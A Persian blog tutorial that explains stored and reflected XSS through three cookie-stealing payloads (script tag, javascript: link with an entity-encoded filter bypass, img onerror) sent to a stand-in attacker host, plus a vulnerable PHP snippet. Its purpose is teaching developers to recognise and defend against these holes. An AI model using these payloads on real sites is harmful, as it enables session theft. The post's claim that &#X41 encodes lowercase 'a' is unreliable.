مثال‌هایی از حملات XSS

0009-xss-attacks-examples-featured-image
بهمن ۱۸, ۱۳۹۵

همانطور که در پست حمله XSS یا تزریق کد چیست؟ گفته شد، روش‌ها و اهداف حملات تزریق کد، هیچگونه محدودیتی ندارند. هر هکر با توجه به نبوغش، و همچنین تسلط بر حفره‌های امنیتی پایه، تلاش میکند روش‌های جدیدی برای انجام حمله ابداع کند. اما می‌توان روش‌های و اهداف پر‌استفاده را بررسی و با آنها مقابله کرد. با بررسی روش‌های متداول حملات XSS ، دید خوبی نسبت به حفره‌های موجود می‌تواند بدست آورد. با این دید می‌توان در هنگام تولید و توسعه اپلیکیشن‌های تحت وب، این حفره‌ها و آسیب پذیری‌ها را در اپلیکیشن بخوبی بشناسیم و با استفاده از راه‌حل های ساده و عموما پیش‌پا افتاده با آنها مقابله کنیم.

در ادامه به بررسی تعدادی از نمونه‌های حملات XSS می‌پردازیم و در نهایت در پستی دیگر راه‌های مقابله با آنها را بررسی خواهیم کرد.

در تمام مثال‌هایی که در حملات XSS معرفی شده در ادامه زده می‌شود، فرض بر این است که هدف نفوذگر دزدیدن کوکی‌های دیگر کاربران با ارسال کوکی به یک فرم در آدرس http://some-hacker-site.com/submit-cookie?cookie=THE_COOKIE می باشد.

حمله اول

ساده‌ترین روش از روش‌های حملات XSS، تزریق کدی است که بین تگ script قرار گرفته باشه. در این روش نفوذگر تلاش میکند که قطعه کدی همچون کد زیر را در وبسایت هدف تزریق کند.

<script>
window.location = 'http://some-hacker-site.com/submit-cookie?cookie=' + document.cookie;
</script>
view raw attack-1.html hosted with ❤ by GitHub

این تزریق می‌تواند بصورت دایم (Stored XSS) و یا غیر دایم (Reflected XSS) باشد.

بطور مثال فرض کنیم که یک وبلاگ دارای بخشی برای دریافت نظرات توسط کاربران باشد. همچنین نظرات ارسال شده را به دیگر کاربران نمایش دهد. همچنین نظرات بصورت مستقیم و بدون هیچگونه پردازشی در دیتابیس ذخیره شود و هنگام بازیابی هم هیچگونه پردازشی برای مقابله با حملات XSS انجام نپذیرد. در این مورد، اگر نفوذگر یک کامنت کاملا عادی بنویسد و از نویسنده پست وبلاگ تشکر کند، اما در انتها یا در وسط این کامنت کد قبلی را وارد کند، اطلاعات کوکی هرکاربری که وارد صفحه پست می‌شود بدون آنکه بداند برای نفوذگر ارسال می‌شود. این تزریق یک تزریق بصورت دایم (Stored XSS) می‌باشد.

حال فرض کنیم، در همین وبسایت، یک فرم جستجو وجود داشته باشد. این فرم جستجو، پس از ارسال درخواست جستجو، عبارت جستجو را با استفاده از Query String به صفحه‌ی دیگری که برای نمایش نتایج است ارسال میکند. بصورت زیر:

http://some-site.com/search-result.php?query=SEARCH_STRING

در صفحه‌ی نمایش نتایج در بالای فهرست نتایج عبارت مورد جستجو نمایش داده شود. اگر این عبارت بدون هیچگونه پردازشی نمایش داده شود، باز هم یک حفره‌ی امنیتی بوجود می‌آید. بطور مثال قطع کد زیر در زبان php:

<?php
echo 'Search result for: ' . $_GET['query'];
// Other codes for showing search results

حال اگر نفوذگر آدرس زیر را فرا بخواند، عبارت جاوااسکریت اجرا می‌شود و اطلاعات کوکی ارسال می‌شود.

http://some-site.com/search-result.php?query=<script>window.location = 'http://some-hacker-site.com/submit-cookie?cookie=' + document.cookie;</script>

این حمله از نوع حملات غیر دایم (Reflected XSS) می‌باشد.

حمله دوم

فرض کنیم، توسعه‌دهندگان وبسایت هرگونه حضور تگ script را در ورودی‌های اطلاعات توسط کاربران محدود کنند. یعنی قبل از ورود اطلاعات وارد شده توسط کاربران، و هنگام نمایش اطلاعات اجازه وجود تگ script را نداده و آنرا پاک کنند. در این هنگام حمله اول جواب نداده و نفوذگر باید راهکار دیگری در پیش بگیرد. همان مثال بخش نظرات وبلاگ را در نظر بگیریم. چون بخش نظرات است، مدیران وبسایت اجازه داده‌اند که چندین تگ بخصوص را بتوان در نظرات اضافه کرد. مثلا تگ برای اضافه نمودن لینک یا تگ a. خب نفوذگر ما کد زیر را در میانه‌ی نظرش اضافه میکند:

<a href="javascript:window.location = 'http://some-hacker-site.com/submit-cookie?cookie=' + document.cookie;">
Check My Awsome Website!
</a>
view raw attack-2-1.html hosted with ❤ by GitHub

کاربر با کلیک بر روی این لینک قطعه کد را اجرا کرده و کوکی‌اش دزدیده می‌شود. در نتیجه، می‌توان بدون استفاده از تگ script کد دلخواه را اجرا کرد.

حال اگر مدیران وبسایت اجازه ندهند که عبارت javascript در خصوصیات تگ‌های وارد شده در کامنت وارد نشود و در صورت وجود آنرا پاک کنند، نفوذگر می‌تواند با یک تغییر کوچک (با فرض اینکه کاراکترست صفحه UTF-8 باشد) این اقدام پیشگیرانه را دور بزنند. کافیست کد زیر را جایگزین کد قبلی در بخش کامنت‌ها کنند:

<a href="j&#X41vascript:window.location = 'http://some-hacker-site.com/submit-cookie?cookie=' + document.cookie;">
Check My Awsome Website!
</a>
view raw attack-2-2.html hosted with ❤ by GitHub

چون در UTF-8 کاراکتر a برابر کد  &#X41 می‌باشد. و این کد هم به خوبی اجرا می‌شود.

حمله‌ی سوم

حال فرض کنیم، مدیران وبسایت در مقابل حمله‌ی دوم هم خود را مجهز کرده و نفوذگر نمی‌تواند از آن استفاده کند. ولی باز‌هم در بخش نظرات اجازه‌ی افزودن تگ‌های HTML مشخصی را بدهند. اما تگ a و script به درستی پردازش شوند. اما نفوذگر ما از تگ img برای نفوذش استفاده می‌کند. بدین صورت:

<img src="not-found-img-url" onerror="window.location = 'http://some-hacker-site.com/submit-cookie?cookie=' + document.cookie;" />
view raw attack-3-1.html hosted with ❤ by GitHub

در این کد، نفوذگر یک عکس به صفحه اضافه می‌کند، اما بجای آدرس آن یک آدرس که وجود ندارد قرار می‌دهد. سپس خاصیت onerror را وارد کرده. این خاصیت عبارت جاوااسکریپت روبرویش را در هنگامی که هر خطایی در لود کردن عکس بوجود بیاید، اجرا می‌کند. و چون عکس وجود ندارد، حتما این عبارت اجرا می‌شود.

برتری این نوع حمله نسبت به حمله‌ی دوم این است که بدون نیاز به کلیک کاربر بر روی لینک مخرب، کد همواره با لود شدن صفحه اجرا می‌شود. از این روش می‌توان برای دیگر خاصیت‌های تگ‌های HTML همچون onload، onmouseenter و… نیز استفاده کرد.

 

این حملات ارایه شده، سه نمونه از حملات XSS است که نفوذگران برای رفتار‌های خرابکارنه‌ی خود از آن استفاده می‌نمایند. اما گستردگی اینگونه حملات بگونه‌ای می‌باشد که معرفی تمام آنها در یک پست وبلاگ امکان پذیر نمی‌باشد. برای مطالعه بیشتر این حملات XSS می‌توانید به لینک‌های زیر مراجعه کنید.

  1. XSS Filter Evasion Cheat Sheet
  2. Cross-site Scripting – XSS